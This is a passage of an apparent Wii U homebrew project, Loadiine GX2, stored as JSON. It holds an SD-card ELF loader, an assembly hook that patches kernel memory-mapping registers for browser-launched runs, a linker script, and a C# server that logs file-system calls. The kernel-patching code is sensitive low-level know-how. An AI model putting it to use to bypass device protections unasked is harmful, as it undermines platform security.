*) elfstart;\n\n\tif(ehdr->e_phoff == 0 || ehdr->e_phnum == 0)\n\t\treturn 0;\n\n\tif(ehdr->e_phentsize != sizeof(Elf32_Phdr))\n\t\treturn 0;\n\n\tphdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff);\n\n\tfor(i = 0; i < ehdr->e_phnum; i++)\n    {\n\t\tif(phdrs[i].p_type != PT_LOAD)\n\t\t\tcontinue;\n\n\t\tif(phdrs[i].p_filesz > phdrs[i].p_memsz)\n\t\t\treturn 0;\n\n\t\tif(!phdrs[i].p_filesz)\n\t\t\tcontinue;\n\n        unsigned int p_paddr = phdrs[i].p_paddr;\n\n        // use correct offset address for executables and data access\n\t\tif(phdrs[i].p_flags & PF_X)\n\t\t\tp_paddr += CODE_RW_BASE_OFFSET;\n        else\n\t\t\tp_paddr += DATA_RW_BASE_OFFSET;\n\n\t\timage = (unsigned char *) (elfstart + phdrs[i].p_offset);\n\t\tprivate_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz);\n        private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz);\n\n\t\tif(phdrs[i].p_flags & PF_X)\n\t\t\tprivate_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz);\n\t}\n\n    //! clear BSS\n    Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff);\n    for(i = 0; i < ehdr->e_shnum; i++)\n    {\n        const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;\n        if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's')\n        {\n            private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);\n            private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);\n        }\n        else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's')\n        {\n            private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);\n            private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);\n        }\n    }\n\n\treturn ehdr->e_entry;\n}\n\nstatic void loadFunctionPointers(private_data_t * private_data)\n{\n    unsigned int coreinit_handle;\n\n    EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle);\n    EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address);\n\n    OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire;\n    OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport;\n\n    OSDynLoad_Acquire(\"coreinit\", &coreinit_handle);\n\n    unsigned int *functionPtr = 0;\n\n    OSDynLoad_FindExport(coreinit_handle, 1, \"MEMAllocFromDefaultHeapEx\", &functionPtr);\n    private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr;\n    OSDynLoad_FindExport(coreinit_handle, 1, \"MEMFreeToDefaultHeap\", &functionPtr);\n    private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr;\n\n    OS_FIND_EXPORT(coreinit_handle, \"memcpy\", private_data->memcpy);\n    OS_FIND_EXPORT(coreinit_handle, \"memset\", private_data->memset);\n    OS_FIND_EXPORT(coreinit_handle, \"OSFatal\", private_data->OSFatal);\n    OS_FIND_EXPORT(coreinit_handle, \"DCFlushRange\", private_data->DCFlushRange);\n    OS_FIND_EXPORT(coreinit_handle, \"ICInvalidateRange\", private_data->ICInvalidateRange);\n    OS_FIND_EXPORT(coreinit_handle, \"__os_snprintf\", private_data->__os_snprintf);\n    OS_FIND_EXPORT(coreinit_handle, \"exit\", private_data->exit);\n\n    OS_FIND_EXPORT(coreinit_handle, \"FSInit\", private_data->FSInit);\n    OS_FIND_EXPORT(coreinit_handle, \"FSAddClientEx\", private_data->FSAddClientEx);\n    OS_FIND_EXPORT(coreinit_handle, \"FSDelClient\", private_data->FSDelClient);\n    OS_FIND_EXPORT(coreinit_handle, \"FSInitCmdBlock\", private_data->FSInitCmdBlock);\n    OS_FIND_EXPORT(coreinit_handle, \"FSGetMountSource\", private_data->FSGetMountSource);\n    OS_FIND_EXPORT(coreinit_handle, \"FSMount\", private_data->FSMount);\n    OS_FIND_EXPORT(coreinit_handle, \"FSUnmount\", private_data->FSUnmount);\n    OS_FIND_EXPORT(coreinit_handle, \"FSOpenFile\", private_data->FSOpenFile);\n    OS_FIND_EXPORT(coreinit_handle, \"FSGetStatFile\", private_data->FSGetStatFile);\n    OS_FIND_EXPORT(coreinit_handle, \"FSReadFile\", private_data->FSReadFile);\n    OS_FIND_EXPORT(coreinit_handle, \"FSCloseFile\", private_data->FSCloseFile);\n\n    unsigned int sysapp_handle;\n    OSDynLoad_Acquire(\"sysapp.rpl\", &sysapp_handle);\n    OS_FIND_EXPORT(sysapp_handle, \"SYSRelaunchTitle\", private_data->SYSRelaunchTitle);\n}\n\nint _start(int argc, char **argv)\n{\n    {\n        private_data_t private_data;\n        loadFunctionPointers(&private_data);\n\n        while(1)\n        {\n            if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0)\n            {\n                //! copy data to safe area before processing it\n                unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4);\n                if(pElfBuffer)\n                {\n                    private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE);\n                    MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);\n                    private_data.MEMFreeToDefaultHeap(pElfBuffer);\n                }\n                ELF_DATA_ADDR = 0xDEADC0DE;\n                ELF_DATA_SIZE = 0;\n            }\n\n            if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0)\n            {\n                unsigned char *pElfBuffer = NULL;\n                unsigned int uiElfSize = 0;\n\n                LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH \"/apps/loadiine_gx2/loadiine_gx2.elf\", &pElfBuffer, &uiElfSize);\n\n                if(!pElfBuffer)\n                {\n                    private_data.OSFatal(\"Could not load file \" WIIU_PATH \"/apps/loadiine_gx2/loadiine_gx2.elf\");\n                }\n                else\n                {\n                    MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);\n                    private_data.MEMFreeToDefaultHeap(pElfBuffer);\n\n                    if(MAIN_ENTRY_ADDR == 0)\n                    {\n                        private_data.OSFatal(\"Failed to load ELF \" WIIU_PATH \"/apps/loadiine_gx2/loadiine_gx2.elf\");\n                    }\n                }\n            }\n            else\n            {\n                int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv);\n\n                //! exit to miimaker and restart application on re-enter of another application\n                if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD)\n                {\n                    break;\n                }\n                //! exit to homebrew launcher in all other cases\n                else\n                {\n                    //MAIN_ENTRY_ADDR = 0xDEADC0DE;\n                    //private_data.SYSRelaunchTitle(0, 0);\n                    //private_data.exit();\n                    break;\n                }\n            }\n        }\n    }\n\n    return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv);\n}\n"
  },
  {
    "path": "sd_loader/src/kernel_hooks.S",
    "content": "# This stuff may need a change in different kernel versions\n# This is only needed when launched directly through browser and not SD card.\n\n.section \".kernel_code\"\n    .globl SaveAndResetDataBATs_And_SRs_hook\nSaveAndResetDataBATs_And_SRs_hook:\n    # setup CTR to the position we need to return to\n    mflr r5\n    mtctr r5\n    # set link register to its original value\n    mtlr r7\n    # setup us a nice DBAT for our code data with same region as our code\n    mfspr r5, 560\n    mtspr 570, r5\n    mfspr r5, 561\n    mtspr 571, r5\n    # restore the original kernel instructions that we replaced\n    lwz r5, 0x34(r3)\n    lwz r6, 0x38(r3)\n    lwz r7, 0x3C(r3)\n    lwz r8, 0x40(r3)\n    lwz r9, 0x44(r3)\n    lwz r10, 0x48(r3)\n    lwz r11, 0x4C(r3)\n    lwz r3, 0x50(r3)\n    isync\n    mtsr 7, r5\n    # jump back to the position in kernel after our patch (from LR)\n    bctr\n"
  },
  {
    "path": "sd_loader/src/link.ld",
    "content": "OUTPUT(sd_loader.elf);\n\nENTRY(_start);\n\nSECTIONS {\n\t. = 0x00800000;\n\t.text : {\n\t\t*(.kernel_code*);\n\t\t*(.text*);\n\t\t/* Tell linker to not garbage collect this section as it is not referenced anywhere */\n\t\tKEEP(*(.kernel_code*));\n\t}\n\t.data : {\n\t\t*(.rodata*);\n\t\t*(.data*);\n\t}\n\t/DISCARD/ : {\n\t\t*(*);\n\t}\n}\n\nASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1000, \"Memory overlapping with main elf.\");\n"
  },
  {
    "path": "server/src/Program.cs",
    "content": "using System;\nusing System.IO;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Threading;\nusing System.Collections.Generic;\n\nnamespace cafiine_server\n{\n    class Program\n    {\n        // Command bytes\n        // com\n        public const byte BYTE_NORMAL = 0xff;\n        public const byte BYTE_SPECIAL = 0xfe;\n        public const byte BYTE_OK = 0xfd;\n        public const byte BYTE_PING = 0xfc;\n        public const byte BYTE_LOG_STR = 0xfb;\n        public const byte BYTE_DISCONNECT = 0xfa;\n\n        // sd\n        public const byte BYTE_MOUNT_SD = 0xe0;\n        public const byte BYTE_MOUNT_SD_OK = 0xe1;\n        public const byte BYTE_MOUNT_SD_BAD = 0xe2;\n\n        // replacement\n        public const byte BYTE_STAT = 0x00;\n        public const byte BYTE_STAT_ASYNC = 0x01;\n        public const byte BYTE_OPEN_FILE = 0x02;\n        public const byte BYTE_OPEN_FILE_ASYNC = 0x03;\n        public const byte BYTE_OPEN_DIR = 0x04;\n        public const byte BYTE_OPEN_DIR_ASYNC = 0x05;\n        public const byte BYTE_CHANGE_DIR = 0x06;\n        public const byte BYTE_CHANGE_DIR_ASYNC = 0x07;\n        public const byte BYTE_MAKE_DIR = 0x08;\n        public const byte BYTE_MAKE_DIR_ASYNC = 0x09;\n        public const byte BYTE_RENAME = 0x0a;\n        public const byte BYTE_RENAME_ASYNC = 0x0b;\n        public const byte BYTE_REMOVE = 0x0c;\n        public const byte BYTE_REMOVE_ASYNC = 0x0d;\n\n        // log\n        public const byte BYTE_CLOSE_FILE = 0x40;\n        public const byte BYTE_CLOSE_FILE_ASYNC = 0x41;\n        public const byte BYTE_CLOSE_DIR = 0x42;\n        public const byte BYTE_CLOSE_DIR_ASYNC = 0x43;\n        public const byte BYTE_FLUSH_FILE = 0x44;\n        public const byte BYTE_GET_ERROR_CODE_FOR_VIEWER = 0x45;\n        public const byte BYTE_GET_LAST_ERROR = 0x46;\n        public const byte BYTE_GET_MOUNT_SOURCE = 0x47;\n        public const byte BYTE_GET_MOUNT_SOURCE_NEXT = 0x48;\n        public const byte BYTE_GET_POS_FILE = 0x49;\n        public const byte BYTE_SET_POS_FILE = 0x4A;\n        public const byte BYTE_GET_STAT_FILE = 0x4B;\n        public const byte BYTE_EOF = 0x4C;\n        public const byte BYTE_READ_FILE = 0x4D;\n        public const byte BYTE_READ_FILE_ASYNC = 0x4E;\n        public const byte BYTE_READ_FILE_WITH_POS = 0x4F;\n        public const byte BYTE_READ_DIR = 0x50;\n        public const byte BYTE_READ_DIR_ASYNC = 0x51;\n        public const byte BYTE_GET_CWD = 0x52;\n        public const byte BYTE_SET_STATE_CHG_NOTIF = 0x53;\n        public const byte BYTE_TRUNCATE_FILE = 0x54;\n        public const byte BYTE_WRITE_FILE = 0x55;\n        public const byte BYTE_WRITE_FILE_WITH_POS = 0x56;\n\n        public const byte BYTE_CREATE_THREAD = 0x60;\n\n        // Other defines\n        public const int FS_MAX_ENTNAME_SIZE = 256;\n        public const int FS_MAX_ENTNAME_SIZE_PAD = 0;\n\n        public const int FS_MAX_LOCALPATH_SIZE = 511;\n        public const int FS_MAX_MOUNTPATH_SIZE = 128;\n\n        // Logs folder\n        public static string logs_root = \"logs\";\n\n\t// Port to listen on\n\tpublic static short port = 7332; \n        \n        static void Main(string[] args)\n        {\n            // Check if logs folder\n            if (!Directory.Exists(logs_root))\n            {\n                Console.WriteLine(\"Logs directory '{0}' does not exist, creating it ...\", logs_root);\n\t\t\tDirectory.CreateDirectory (logs_root);\n            }\n            // Delete logs\n            System.IO.DirectoryInfo downloadedMessageInfo = new DirectoryInfo(logs_root);\n            foreach (FileInfo file in downloadedMessageInfo.GetFiles())\n            {\n                file.Delete();\n            }\n\n            // Start server\n            string name = \"[listener]\";\n            try\n            {\n                TcpListener listener = new TcpListener(IPAddress.Any, port);\n                listener.Start();\n                Console.WriteLine(name + \" Listening on \" + port);\n\n                int index = 0;\n                while (true)\n                {\n                    TcpClient client = listener.AcceptTcpClient();\n                    Console.WriteLine(\"connected\");\n                    Thread thread = new Thread(Handle);\n                    thread.Name = \"[\" + index.ToString() + \"]\";\n                    thread.Start(client);\n                    index++;\n                }\n            }\n            catch (Exception e)\n            {\n                Console.WriteLine(name + \" \" + e.Message);\n            }\n            Console.WriteLine(name + \" Exit\");\n        }\n\n        static void Log(StreamWriter log, String str)\n        {\n            log.WriteLine(str);\n            log.Flush();\n            Console.WriteLine(str);\n        }\n\n        static void Handle(object client_obj)\n        {\n            string name = Thread.CurrentThread.Name;\n            StreamWriter log = null;\n\n            try\n            {\n                TcpClient client = (TcpClient)client_obj;\n                using (NetworkStream stream = client.GetStream())\n                {\n                    EndianBinaryReader reader = new EndianBinaryReader(stream);\n                    EndianBinaryWriter writer = new EndianBinaryWriter(stream);\n\n\n                    // Log connection\n                    Console.WriteLine(name + \" Accepted connection from client \" + client.Client.RemoteEndPoint.ToString());\n\n                    // Create log file for current thread\n\t\t    log = new StreamWriter(Path.Combine(logs_root, DateTime.Now.ToString(\"yyyy-MM-dd\") + \"-\" + name + \".txt\"));\n                    log.WriteLine(name + \" Accepted connection from client \" + client.Client.RemoteEndPoint.ToString());\n\n                    writer.Write(BYTE_SPECIAL);\n\n                    while (true)\n                    {\n                        byte cmd_byte = reader.ReadByte();\n                        switch (cmd_byte)\n                        {\n                            // cmd\n                            case BYTE_PING:\n                                {\n                                    int val1 = reader.ReadInt32();\n                                    int val2 = reader.ReadInt32();\n\n                                    Log(log, name + \" PING RECEIVED with values : \" + val1.ToString() + \" - \" + val2.ToString());\n                                    break;\n                                }\n                            case BYTE_LOG_STR:\n                                {\n                                    int len_str = reader.ReadInt32();\n                                    string str = reader.ReadString(Encoding.ASCII, len_str - 1);\n                                    if (reader.ReadByte() != 0) throw new InvalidDataException();\n\n                                    Log(log, name + \" LogString =>(\\\"\" + str + \"\\\")\");\n                                    break;\n                                }\n                            case BYTE_DISCONNECT:\n                                {\n                                    Log(log, name + \" DISCONNECT\");\n                                    break;\n                                }\n\n                            // sd\n                            case BYTE_MOUNT_SD:\n                                {\n                                    Log(log, name + \" Trying to mount SD card\");\n                                    break;\n                                }\n                            case BYTE_MOUNT_SD_OK:\n                                {\n                                    Log(log, name + \" SD card mounted !\");\n                                    break;\n                                }\n                            case BYTE_MOUNT_SD_BAD:\n                                {\n                                    Log(log, name + \" Can't mount SD card\");\n                                    break;\n                                }\n\n                            // replacement\n                            case BYTE_STAT:\n                            case BYTE_STAT_ASYNC:\n                                {\n                                    int len_path = reader.ReadInt32();\n                                    string path = reader.ReadString(Encoding.ASCII, len_path - 1);\n                                    if (reader.ReadByte() != 0) throw new InvalidDataException();\n\n                                    if (cmd_byte == BYTE_STAT)\n                                        Log(log, name + \" FSGetStat(\\\"\" + path + \"\\\")\");\n                                    else\n                                        Log(log, name + \" FSGetStatAsync(\\\"\" + path + \"\\\")\");\n                                    break;\n                                }\n                            case BYTE_OPEN_FILE:\n                            case BYTE_OPEN_FILE_ASYNC:\n                                {\n                                    int len_str = reader.ReadInt32();\n                                    string str = reader.ReadString(Encoding.ASCII, len_str - 1);\n                                    if (reader.ReadByte() != 0) throw new InvalidDataException();\n\n                                    if (cmd_byte == BYTE_OPEN_FILE)\n                                        Log(log, name + \" FSOpenFile(\\\"\" + str + \"\\\")\");\n                                    else\n                                        Log(log, name + \" FSOpenFileAsync(\\\"\" + str + \"\\\")\");\n\n                                    break;\n                                }\n                            case BYTE_OPEN_DIR:\n                            case BYTE_OPEN_DIR_ASYNC:\n                                {\n                                    int len_path = reader.ReadInt32();\n                                    string path = reader.ReadString(Encoding.ASCII, len_path - 1);\n                                    if (reader.ReadByte() != 0) throw new InvalidDataException();\n\n                                    if (cmd_byte == BYTE_OPEN_DIR)\n                                        Log(log, name + \" FSOpenDir(\\\"\" + path + \"\\\")\");\n                                    else\n                                        Log(log, name + \" FSOpenDirAsync(\\\"\" + path + \"\\\")\");\n\n                                    break;\n                                }\n                            case BYTE_CHANGE_DIR:\n                            case BYTE_CHANGE_DIR_ASYNC:\n                                {\n                                    int len_path = reader.ReadInt32();\n                                    string path = reader.ReadString(Encoding.ASCII, len_path - 1);\n                                    if (reader.ReadByte() != 0) throw new InvalidDataException();\n\n                                    if (cmd_byte == BYTE_CHANGE_DIR)\n                                        Log(log, name + \" FSChangeDir(\\\"\" + path + \"\\\")\");\n                                    else\n                                        Log(log, name + \" FSChangeDirAsync(\\\"\" + path + \"\\\")\");\n\n                                    break;\n                                }\n                            case BYTE_MAKE_DIR:\n                            case BYTE_MAKE_DIR_ASYNC:\n                                {\n                                    int len_path = reader.ReadInt32();\n                                    string path = reader.ReadString(Encoding.ASCII, len_path - 1);\n                                    if (reader.ReadByte() != 0) throw new InvalidDataException();\n\n                                    if (cmd_byte == BYTE_CHANGE_DIR)\n                                        Log(log, name + \" FSMakeDir(\\\"\" + path + \"\\\")\");\n                                    else\n                                        Log(log, name + \" FSMakeDirAsync(\\\"\" + path + \"\\\")\");\n\n                                    break;\n                                }\n                            case BYTE_RENAME:\n                            case BYTE_RENAME_ASYNC:\n                                {\n                                    int len_path = reader.ReadInt32();\n                                    string path = reader.ReadString(Encoding.ASCII, len_path - 1);\n                                    if (reader.ReadByte() != 0) throw new InvalidDataException();\n\n                                    if (cmd_byte == BYTE_CHANGE_DIR)\n                                        Log(log, name + \" FSRename(\\\"\" + path + \"\\\")\");\n                                    else\n                                        Log(log, name + \" FSRenameAsync(\\\"\" + path + \"\\\")\");\n\n                                    break;\n                                }\n                            case BYTE_REMOVE:\n                            case BYTE_REMOVE_ASYNC:\n                                {\n                                    int len_path = reader.ReadInt32();\n                                    string path = reader.ReadString(Encoding.ASCII, len_path - 1);\n                                    if (reader.ReadByte() != 0) throw new InvalidDataException();\n\n                                    if (cmd_byte == BYTE_CHANGE_DIR)\n                                        Log(log, name + \" FSRemove(\\\"\" + path + \"\\\")\");\n                                    else\n                                        Log(log, name + \" FSRemoveAsync(\\\"\" + path + \"\\\")\");\n\n                                    break;\n                                }\n\n                            // Log\n                            case BYTE_CLOSE_FILE:\n                                {\n                                     Log(log, name + \" FSCloseFile()\");\n                                     break;\n                                }\n                            case BYTE_CLOSE_FILE_ASYNC:\n                                {\n                                    Log(log, name + \" FSCloseFileAsync()\");\n                                    break;\n                                }\n                            case BYTE_CLOSE_DIR:\n                                {\n                                    Log(log, name + \" FSCloseDir()\");\n                                    break;\n                                }\n                            case BYTE_CLOSE_DIR_ASYNC:\n                                {\n                                    Log(log, name + \" FSCloseDirAsync()\");\n                                    break;\n                                }\n                            case BYTE_FLUSH_FILE:\n                                {\n                                    Log(log, name + \" FSFlushFile()\");\n                                    break;\n                                }\n                            case BYTE_GET_ERROR_CODE_FOR_VIEWER:\n                                {\n                                    Log(log, name + \" FSGetErrorCodeForViewer()\");\n                                    break;\n                                }\n                            case BYTE_GET_LAST_ERROR:\n                                {\n                                    Log(log, name + \" FSGetLastError()\");\n                                    break;\n                                }\n                            case BYTE_GET_MOUNT_SOURCE:\n                                {\n                                    Log(log, name + \" FsGetMountSource()\");\n                                    break;\n                                }\n                            case BYTE_GET_MOUNT_SOURCE_NEXT:\n                                {\n                                    Log(log, name + \" FsGetMountSourceNext()\");\n                                    break;\n                                }\n                            case BYTE_GET_POS_FILE:\n                                {\n                                    Log(log, name + \" FSGetPos()\");\n                                    break;\n                                }\n                            case BYTE_SET_POS_FILE:\n                                {\n                                    Log(log, name + \" FSSetPos()\");\n                                    break;\n                                }\n                            case BYTE_GET_STAT_FILE:\n                                {\n                                    Log(log, name + \" FSGetStatFile()\");\n                                    break;\n                                }\n                            case BYTE_EOF:\n                                {\n                                    Log(log, name + \" FSGetEof()\");\n                                    break;\n                                }\n                            case BYTE_READ_FILE:\n                                {\n                                    Log(log, name + \" FSReadFile()\");\n                                    break;\n                                }\n                            case BYTE_READ_FILE_ASYNC:\n                                {\n                                    Log(log, name + \" FSReadFileAsync()\");\n                                    break;\n                                }\n                            case BYTE_READ_FILE_WITH_POS:\n                                {\n                                    Log(log, name + \" FSReadFileWithPos()\");\n                                    break;\n                                }\n                            case BYTE_READ_DIR:\n                                {\n                                    Log(log, name + \" FSReadDir()\");\n                                    break;\n                                }\n                            case BYTE_READ_DIR_ASYNC:\n                                {\n                                    Log(log, name + \" FSReadDirAsync()\");\n                                    break;\n                                }\n                            case BYTE_GET_CWD:\n                                {\n                                    Log(log, name + \" FSGetCwd()\");\n                                    break;\n                                }\n                            case BYTE_SET_STATE_CHG_NOTIF:\n                                {\n                                    Log(log, name + \" FSSetStateChangeNotification()\");\n                                    break;\n                                }\n                            case BYTE_TRUNCATE_FILE:\n                                {\n                                    Log(log, name + \" FSTruncateFile()\");\n                                    break;\n                                }\n                            case BYTE_WRITE_FILE:\n                                {\n                                    Log(log, name + \" FSWriteFile()\");\n                                    break;\n                                }\n                            case BYTE_WRITE_FILE_WITH_POS:\n                                {\n                                    Log(log, name + \" FSWriteFileWithPos()\");\n                                    break;\n                                }\n\n\n                            case BYTE_CREATE_THREAD:\n                                {\n                                    Log(log, name + \" CreateThread()\");\n                                    break;\n                                }\n\n                            default:\n                                throw new InvalidDataException();\n                        }\n                    }\n                }\n            }\n            catch (Exception e)\n            {\n                if (log != null)\n                    Log(log, name + \" \" + e.Message);\n                else\n                    Console.WriteLine(name + \" \" + e.Message);\n            }\n            finally\n            {\n                if (log != null)\n                    log.Close();\n            }\n            Console.WriteLine(name + \" Exit\");\n        }\n    }\n}\n"
  },
  {
    "path": "server/src/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following \n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"loadiine_server\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"loadiine_server\")]\n[assembly: AssemblyCopyright(\"\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible \n// to COM components.  If you need to access a type in this assembly from \n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"fc022709-becf-498f-9a2a-dc3543457b0d\")]\n\n// Version information for an assembly consists of the following four values:\n//\n//      Major Version\n//      Minor Version \n//      Build Number\n//      Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers \n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"
  },
  {
    "path": "server/src/System/IO/EndianBinaryReader.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace System.IO\n{\n    sealed class EndianBinaryReader : IDisposable\n    {\n        private bool disposed;\n        private byte[] buffer;\n\n        private delegate void ArrayReverse(byte[] array, int count);\n        private static readonly ArrayReverse[] fastReverse = new ArrayReverse[] { null, null, ArrayReverse2, null, ArrayReverse4, null, null, null, ArrayReverse8 };\n\n        private static Dictionary<Type, List<Tuple<int, TypeCode>>> parserCache = new Dictionary<Type, List<Tuple<int, TypeCode>>>();\n\n        public Stream BaseStream { get; private set; }\n        public Endianness Endianness { get; set; }\n        public static Endianness SystemEndianness { get { return BitConverter.IsLittleEndian ? Endianness.LittleEndian : Endianness.BigEndian; } }\n\n        private bool Reverse { get { return SystemEndianness != Endianness; } }\n\n        public EndianBinaryReader(Stream baseStream)\n            : this(baseStream, Endianness.BigEndian)\n        { }\n\n        public EndianBinaryReader(Stream baseStream, Endianness endianness)\n        {\n            if (baseStream == null) throw new ArgumentNullException(\"baseStream\");\n            if (!baseStream.CanRead) throw new ArgumentException(\"base stream is not readable.\", \"baseStream\");\n\n            BaseStream = baseStream;\n            Endianness = endianness;\n        }\n\n        ~EndianBinaryReader()\n        {\n            Dispose(false);\n        }\n\n        /// <summary>\n        /// Fills the buffer with bytes bytes, possibly reversing every stride. Bytes must be a multiple of stide. Stide must be 1 or 2 or 4 or 8.\n        /// </summary>\n        /// <param name=\"bytes\"></param>\n        /// <param name=\"stride\"></param>\n        private void FillBuffer(int bytes, int stride)\n        {\n            if (buffer == null || buffer.Length < bytes)\n                buffer = new byte[bytes];\n\n            for (int i = 0, read = 0; i < bytes; i += read)\n            {\n                read = BaseStream.Read(buffer, i, bytes - i);\n                if (read <= 0) throw new EndOfStreamException();\n            }\n\n            if (Reverse)\n            {\n                if (fastReverse[stride] != null)\n                    fastReverse[stride](buffer, bytes);\n                else\n                    for (int i = 0; i < bytes; i += stride)\n                    {\n                        Array.Reverse(buffer, i, stride);\n                    }\n            }\n        }\n\n        private static void ArrayReverse2(byte[] array, int arrayLength)\n        {\n            byte temp;\n\n            while (arrayLength > 0)\n            {\n                temp = array[arrayLength - 2];\n                array[arrayLength - 2] = array[arrayLength - 1];\n                array[arrayLength - 1] = temp;\n                arrayLength -= 2;\n            }\n        }\n\n        private static void ArrayReverse4(byte[] array, int arrayLength)\n        {\n            byte temp;\n\n            while (arrayLength > 0)\n            {\n                temp = array[arrayLength - 3];\n                array[arrayLength - 3] = array[arrayLength - 2];\n                array[arrayLength - 2] = temp;\n                temp = array[arrayLength - 4];\n                array[arrayLength - 4] = array[arrayLength - 1];\n                array[arrayLength - 1] = temp;\n                arrayLength -= 4;\n            }\n        }\n\n        private static void ArrayReverse8(byte[] array, int arrayLength)\n        {\n            byte temp;\n\n            while (arrayLength > 0)\n            {\n                temp = array[arrayLength - 5];\n                array[arrayLength - 5] = array[arrayLength - 4];\n                array[arrayLength - 4] = temp;\n                temp = array[arrayLength - 6];\n                array[arrayLength - 6] = array[arrayLength - 3];\n                array[arrayLength - 3] = temp;\n                temp = array[arrayLength - 7];\n                array[arrayLength - 7] = array[arrayLength - 2];\n                array[arrayLength - 2] = temp;\n                temp = array[arrayLength - 8];\n                array[arrayLength - 8] = array[arrayLength - 1];\n                array[arrayLength - 1] = temp;\n                arrayLength -= 8;\n            }\n        }\n\n        public byte ReadByte()\n        {\n            FillBuffer(1, 1);\n\n            return buffer[0];\n        }\n\n        public byte[] ReadBytes(int count)\n        {\n            byte[] temp;\n\n            FillBuffer(count, 1);\n            temp = new byte[count];\n            Array.Copy(buffer, 0, temp, 0, count);\n            return temp;\n        }\n\n        public sbyte ReadSByte()\n        {\n            FillBuffer(1, 1);\n\n            unchecked\n            {\n                return (sbyte)buffer[0];\n            }\n        }\n\n        public sbyte[] ReadSBytes(int count)\n        {\n            sbyte[] temp;\n\n            temp = new sbyte[count];\n            FillBuffer(count, 1);\n\n            unchecked\n            {\n                for (int i = 0; i < count; i++)\n                {\n                    temp[i] = (sbyte)buffer[i];\n                }\n            }\n\n            return temp;\n        }\n\n        public char ReadChar(Encoding encoding)\n        {\n            int size;\n\n            if (encoding == null) throw new ArgumentNullException(\"encoding\");\n\n            size = GetEncodingSize(encoding);\n            FillBuffer(size, size);\n            return encoding.GetChars(buffer, 0, size)[0];\n        }\n\n        public char[] ReadChars(Encoding encoding, int count)\n        {\n            int size;\n\n            if (encoding == null) throw new ArgumentNullException(\"encoding\");\n\n            size = GetEncodingSize(encoding);\n            FillBuffer(size * count, size);\n            return encoding.GetChars(buffer, 0, size * count);\n        }\n\n        private static int GetEncodingSize(Encoding encoding)\n        {\n            if (encoding == Encoding.UTF8 || encoding == Encoding.ASCII)\n                return 1;\n            else if (encoding == Encoding.Unicode || encoding == Encoding.BigEndianUnicode)\n                return 2;\n\n            return 1;\n        }\n\n        public string ReadStringNT(Encoding encoding)\n        {\n            string text;\n\n            text = \"\";\n\n            do\n            {\n                text += ReadChar(encoding);\n            } while (!text.EndsWith(\"\\0\", StringComparison.Ordinal));\n\n            return text.Remove(text.Length - 1);\n        }\n\n        public string ReadString(Encoding encoding, int count)\n        {\n            return new string(ReadChars(encoding, count));\n        }\n\n        public double ReadDouble()\n        {\n            const int size = sizeof(double);\n            FillBuffer(size, size);\n            return BitConverter.ToDouble(buffer, 0);\n        }\n\n        public double[] ReadDoubles(int count)\n        {\n            const int size = sizeof(double);\n            double[] temp;\n\n            temp = new double[count];\n            FillBuffer(size * count, size);\n\n            for (int i = 0; i < count; i++)\n            {\n                temp[i] = BitConverter.ToDouble(buffer, size * i);\n            }\n            return temp;\n        }\n\n        public Single ReadSingle()\n        {\n            const int size = sizeof(Single);\n            FillBuffer(size, size);\n            return BitConverter.ToSingle(buffer, 0);\n        }\n\n        public Single[] ReadSingles(int count)\n        {\n            const int size = sizeof(Single);\n            Single[] temp;\n\n            temp = new Single[count];\n            FillBuffer(size * 